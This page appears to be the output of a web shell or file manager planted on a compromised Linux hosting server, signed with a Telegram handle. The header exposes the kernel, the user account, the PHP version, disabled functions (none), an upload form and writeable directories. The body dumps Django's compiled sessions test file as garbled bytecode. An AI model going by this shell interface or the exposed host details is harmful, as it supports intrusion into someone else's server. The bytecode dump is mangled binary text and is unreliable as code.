https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/sessions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/sessions/tests.pyc
�
r�\c@s�ddlZddlmZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddl
mZddlmZddlmZddlmZddlmZddlmZddlmZddlmZdd	lmZdd
lm Z ddl!m"Z"m#Z#ddl$m%Z%m&Z&dd
l'm(Z(ddl'm)Z)ddl'm*Z*ddl+m,Z,de-fd��YZ.de.e"fd��YZ/e%de0�de/fd��Y�Z1de.e"fd��YZ2e%de0�de2fd��Y�Z3de.e*j"fd��YZ4de.e*j"fd��YZ5d e*j"fd!��YZ6d"e.e"fd#��YZ7dS($i����N(t	timedelta(tsettings(tSessionStore(tSession(tSessionMiddleware(t	get_cache(t
management(tImproperlyConfigured(tHttpResponse(tTestCasetRequestFactory(toverride_settingstpatch_logger(tsix(ttimezone(tunittest(tInvalidSessionKeytSessionTestsMixincBseZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!RS(cCs|j�|_dS(N(tbackendtsession(tself((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pytsetUp%scCs|jj�dS(N(Rtdelete(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttearDown(scCs*|j|jj�|j|jj�dS(N(tassertFalseRtmodifiedtaccessed(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_new_session.scCs |j|jjd�d�dS(Ntcat(tassertEqualRtgettNone(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_get_empty2scCs@d|jd<|j|jj�|j|jjd�d�dS(NtdogR(Rt
assertTrueRRtpop(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt
test_store5s
cCs�d|jd<t|_t|_|j|jjd�d�|j|jj�|j|jj�|j|jjd�d�dS(Ntexistsssome key(	RtFalseRRRR#R"RR(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_pop:s
		cCsI|j|jjdd�d�|j|jj�|j|jj�dS(Nssome keysdoes not exist(RRR#R"RRR(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_pop_defaultEscCsh|j|jjdd�d�|j|jjdd�d�|j|jj�|j|jj�dS(Ntfootbartbaz(RRt
setdefaultR"RR(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_setdefaultKscCs`|jjidd6�|j|jj�|j|jj�|j|jjdd�d�dS(Nis
update key(RtupdateR"RRRRR(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_updateQscCsbd|jd<t|j_t|j_|jd|j�|j|jj�|j|jj�dS(Nissome key(RR&RRtassertInR"R(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_has_keyWs
cCse|jt|jj��g�|j|jj�d|jd<|jt|jj��dg�dS(Nissome key(RtlistRtvaluesR"R(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_values_s
cCs�d|jd<t|j_t|j_tj|j�}|jt|d��|j|jj�|j|jj�|j	t
|�dg�dS(Nitxt__iter__(RR&RRR
titerkeysR"thasattrRRR2(Rti((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt
test_iterkeyses
cCs�d|jd<t|j_t|j_tj|j�}|jt|d��|j|jj�|j|jj�|j	t
|�dg�dS(NiR5R6(RR&RRR
t
itervaluesR"R8RRR2(RR9((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_itervaluesos
cCs�d|jd<t|j_t|j_tj|j�}|jt|d��|j|jj�|j|jj�|j	t
|�dg�dS(NiR5R6(R5i(RR&RRR
t	iteritemsR"R8RRR2(RR9((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_iteritemsys
cCs�d|jd<t|j_t|j_|jt|jj��dg�|jj�|jt|jj��g�|j|jj�|j|jj�dS(NiR5(R5i(	RR&RRRR2titemstclearR"(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt
test_clear�s
"
cCsnt|jd�r>dtjtjdkr>tjd��n|jj�|j|jj	|jj
��dS(Nt_cachet
DummyCachetBACKENDs1Session saving tests require a real cache backend(R8RRtCACHEStSESSION_CACHE_ALIASRtSkipTesttsaveR"R%tsession_key(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt	test_save�s

cCsF|jj�|jj|jj�|j|jj|jj��dS(N(RRHRRIRR%(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_delete�s
cCs�d|jd<|jj�|jj}|jj�|j|jj|��|j|jj|�|j|jj�|j|jj	�dS(NR*R)(
RRHRItflushRR%tassertNotEqualR"RR(Rtprev_key((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt
test_flush�s


cCs�d\|jd<|jd<|jj�|jj}t|jj��}|jj�|j|jj|�|jt|jj��|�dS(Ntctdtatb(RPRQ(RRHRIR2R?t	cycle_keyRMR(RRNt	prev_data((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt
test_cycle�s

cCs�zx|jd�}y|j�Wntk
r@|jd�nX|j|jd�|j|jd�d�|j	�Wd|j	d�XdS(Nt1scThe session object did not save properly.  Middleware may be saving cache items without namespaces.R(
RRHtAttributeErrortfailRMRIRRRR(RR((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_invalid_key�s
cCs#d�}|jt||j�dS(NcSs|j�|_dS(N(t_get_new_session_keyRI(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pytset_session_key�s(tassertRaisesRXR(RR\((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_session_key_is_read_only�s	cCsL|j|jj�tj�|jjd�|j|jj�tj�dS(Ni(RRtget_expiry_ageRtSESSION_COOKIE_AGEt
set_expiry(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_default_expiry�scCswtj�}|jjd�|jjd|�}|j||tdd��|jjd|�}|j|d�dS(Ni
tmodificationtseconds(RtnowRRatget_expiry_dateRRR_(RRctdatetage((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_custom_expiry_seconds�scs�tj��tj}z/�fd�t_|jjtdd��Wd|t_X|jjd��}|j|�tdd��|jjd��}|j|d�dS(Ncs�S(N(((Rc(s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt<lambda>�sRdi
Rc(RReRRaRRfRR_(Rtoriginal_nowRgRh((Rcs?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_custom_expiry_timedelta�s	
cCs�tj�}|jj|tdd��|jjd|�}|j||tdd��|jjd|�}|j|d�dS(NRdi
Rc(RReRRaRRfRR_(RRcRgRh((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_custom_expiry_datetime�scCsP|jjd�|jjd�|jjd�|j|jj�tj�dS(Ni
(RRaRRR_RR`(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_custom_expiry_reset�scCstdt��w|jjd�|j|jj��|jjd�|j|jj��|jjd�|j|jj��WdQXtdt��w|jjd�|j|jj��|jjd�|j|jj��|jjd�|j|jj��WdQXdS(NtSESSION_EXPIRE_AT_BROWSER_CLOSEi
i(	RR&RRaRtget_expire_at_browser_closeR"RtTrue(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt test_get_expire_at_browser_close�scCs?idd6}|jj|�}|j|jj|�|�dS(Nsa test values
a test key(RtencodeRtdecode(Rtdatatencoded((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_decodes
cCsttjd�}tdd��P}|ji|jj|��|jt|�d�|jd|dk�WdQXdS(Nsflaskdj:alkdjfs!django.security.SuspiciousSessiontwarningit	corruptedi(tbase64t	b64encodeRRRRttlenR"(Rt
bad_encodetcalls((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt&test_decode_failure_logged_to_securitys
c	Cs�tdd���|j�|_d}d}zrd|jd<|jjtdd��|jj�|jj}|j|jj�}|j}|jd|�Wd|jj	|�|jj	|�XWdQXdS(NtSESSION_SERIALIZERs4django.contrib.sessions.serializers.PickleSerializerR*R)Rdi
(
RRRRRaRRHRItassertNotInR(Rtold_session_keytnew_session_keytnew_session((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_actual_expirys

	N("t__name__t
__module__RRRRRR R$R'R(R-R/R1R4R:R<R>RARJRKRORVRZR^RbRiRlRmRnRrRwRR�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyRs>												
	
	
	
			
														tDatabaseSessionTestscBs8eZeZd�Zd�Zedd�d��ZRS(cCsVd|jd<|jj�tjjd|jj�}|j|j�idd6�dS(sc
        Test we can use Session.get_decoded to retrieve data stored
        in normal way
        iR5RIN(RRHRtobjectsRRIRtget_decoded(Rts((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_session_get_decoded9s

cCs|d|jd<|jj�tjjd|jj�}tjj|jidd6|j�|j`|j|jdd�dS(s1
        Test SessionManager.save method
        ityRIiN(	RRHRR�RRItexpire_datet_session_cacheR(RR�((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_sessionmanager_saveEs

#	tSESSION_ENGINEs#django.contrib.sessions.backends.dbcCs�|jdtjj��d|jd<|jjd�|jj�|j�}d|d<|jd�|j�|jdtjj��tj	d�|jdtjj��d	S(
sK
        Test clearsessions command for clearing expired sessions.
        iR*R)ii��it
clearsessionsiN(
RRR�tcountRRaRHRRtcall_command(Rt
other_session((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_clearsessions_commandTs





(R�R�tDatabaseSessionRR�R�RR�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�5s		tUSE_TZt DatabaseSessionWithTimeZoneTestscBseZRS((R�R�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�mstCacheDBSessionTestscBsFeZeZejdejejdkd�d��Z	d�Z
RS(RCRDs1Session saving tests require a real cache backendcCsF|jj�|jd��$|j|jj|jj��WdQXdS(Ni(RRHtassertNumQueriesR"R%RI(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt test_exists_searches_cache_firstvs
cCsWtj��Etjd�tjtjd|j_|j|jj	�i�WdQXdS(Ntignorei(
twarningstcatch_warningstsimplefiltertstringt
ascii_letterstdigitsRt_session_keyRtload(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_load_overlong_key~s

(R�R�tCacheDBSessionRRtskipIfRRERFR�R�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�rs
	tCacheDBSessionWithTimeZoneTestscBseZRS((R�R�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��stFileSessionTestscBskeZeZd�Zd�Zedd�d��Zd�Zd�Zd�Z	edd	�d
��Z
RS(cCsWtj|_tj�|_t_t|jd�r@|j`nt	t
|�j�dS(Nt
_storage_path(RtSESSION_FILE_PATHtoriginal_session_file_pathttempfiletmkdtempttemp_session_storeR8RR�tsuperR�R(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�s
cCs3tt|�j�|jt_tj|j�dS(N(	R�R�RR�RR�tshutiltrmtreeR�(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�sR�s3/if/this/directory/exists/you/have/a/weird/computercCs |j`|jt|j�dS(N(RR�R]R(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_configuration_check�s	cCs |j|jd�j��dS(Nsa\b\c(R"RR�(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_invalid_key_backslash�scCs |jt|j�jd�dS(Nsa\b\c(R]RRt_key_to_file(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��s	cCs |jt|j�jd�dS(Nsa/b/c(R]RRR�(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_invalid_key_forwardslash�s	R�s%django.contrib.sessions.backends.filecs�|jj��tj���fd�}|jd|��d|jd<|jjd�|jj�|j�}d|d<|jd�|j�|jd|��tj	d�|jd	|��d
S(sK
        Test clearsessions command for clearing expired sessions.
        cs5tgtj��D]}|j��r|^q�S(N(R|tostlistdirt
startswith(tsession_file(tfile_prefixtstorage_path(s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pytcount_sessions�siR*R)ii��iR�iN(
Rt_get_storage_pathRtSESSION_COOKIE_NAMERRRaRHRR�(RR�R�((R�R�s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��s	





(R�R�tFileSessionRRRRR�R�R�R�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��s						tCacheSessionTestscBsZeZeZd�Zd�Zediidd6d6idd6d6dd�d	��ZRS(
cCsWtj��Etjd�tjtjd|j_|j|jj	�i�WdQXdS(NR�i(
R�R�R�R�R�R�RR�RR�(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��s

cCs6|jj�|jtd�j|jj�d�dS(Ntdefault(RRHRMRRt	cache_keyR(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_default_cache�s
REs+django.core.cache.backends.dummy.DummyCacheRDR�s-django.core.cache.backends.locmem.LocMemCachetsessionsRFcCsj|j�|_|jj�|jtd�j|jj�d�|jtd�j|jj�d�dS(NR�R�(	RRRHRRRR�RRM(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_non_default_cache�s

%(R�R�tCacheSessionRR�R�RR�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��s			tSessionMiddlewareTestscBsYeZede�d��Zede�d��Zede�d��Zd�ZRS(tSESSION_COOKIE_SECUREcCsrt�jd�}td�}t�}|j|�d|jd<|j||�}|j|jt	j
d�dS(Nt/sSession testtworldthellotsecure(R
RRRtprocess_requestRtprocess_responseR"tcookiesRR�(Rtrequesttresponset
middleware((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_secure_session_cookie�s	

tSESSION_COOKIE_HTTPONLYcCs�t�jd�}td�}t�}|j|�d|jd<|j||�}|j|jt	j
d�|jdt|jt	j
��dS(NR�sSession testR�R�thttponly(
R
RRRR�RR�R"R�RR�R0tstr(RR�R�R�((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_httponly_session_cookies	

	cCs�t�jd�}td�}t�}|j|�d|jd<|j||�}|j|jt	j
d�|jdt|jt	j
��dS(NR�sSession testR�R�R�(
R
RRRR�RR�RR�RR�R�R�(RR�R�R�((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_no_httponly_session_cookies	

	cCsyt�jd�}td�}d|_t�}|j|�d|jd<|j||�}|jd|jj	��dS(NR�sHorrible errori�R�R�(
R
RRtstatus_codeRR�RR�R�R�(RR�R�R�((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyttest_session_save_on_500)s		

(	R�R�RRqR�R�R&R�R�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR��stCookieSessionTestscBs2eZeZd�Zd�Zejd��ZRS(cCsdS(sv
        This test tested exists() in the other session backends, but that
        doesn't make sense for us.
        N((R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyRJ>scCsdS(s
        This test tested cycle_key() which would create a new session
        key for the same session data. But we can't invalidate previously
        signed cookies (other than letting them expire naturally) so
        testing for this behavior is meaningless.
        N((R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyRVEscCstt|�j�dS(N(R�R�R�(R((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�Ns(	R�R�t
CookieSessionRRJRVRtexpectedFailureR�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyR�:s			(8RztdatetimeRR�R�R�R�R�tdjango.confRt#django.contrib.sessions.backends.dbRR�t&django.contrib.sessions.backends.cacheR�t*django.contrib.sessions.backends.cached_dbR�t%django.contrib.sessions.backends.fileR�t/django.contrib.sessions.backends.signed_cookiesR�tdjango.contrib.sessions.modelsRt"django.contrib.sessions.middlewareRtdjango.core.cacheRtdjango.coreRtdjango.core.exceptionsRtdjango.httpRtdjango.testR	R
tdjango.test.utilsRRtdjango.utilsR
RRt"django.contrib.sessions.exceptionsRtobjectRR�RqR�R�R�R�R�R�R�(((s?/tmp/pip-install-XxeQeY/django/django/contrib/sessions/tests.pyt<module>sH�8J D

https://t.me/AnonymousX5 - 2025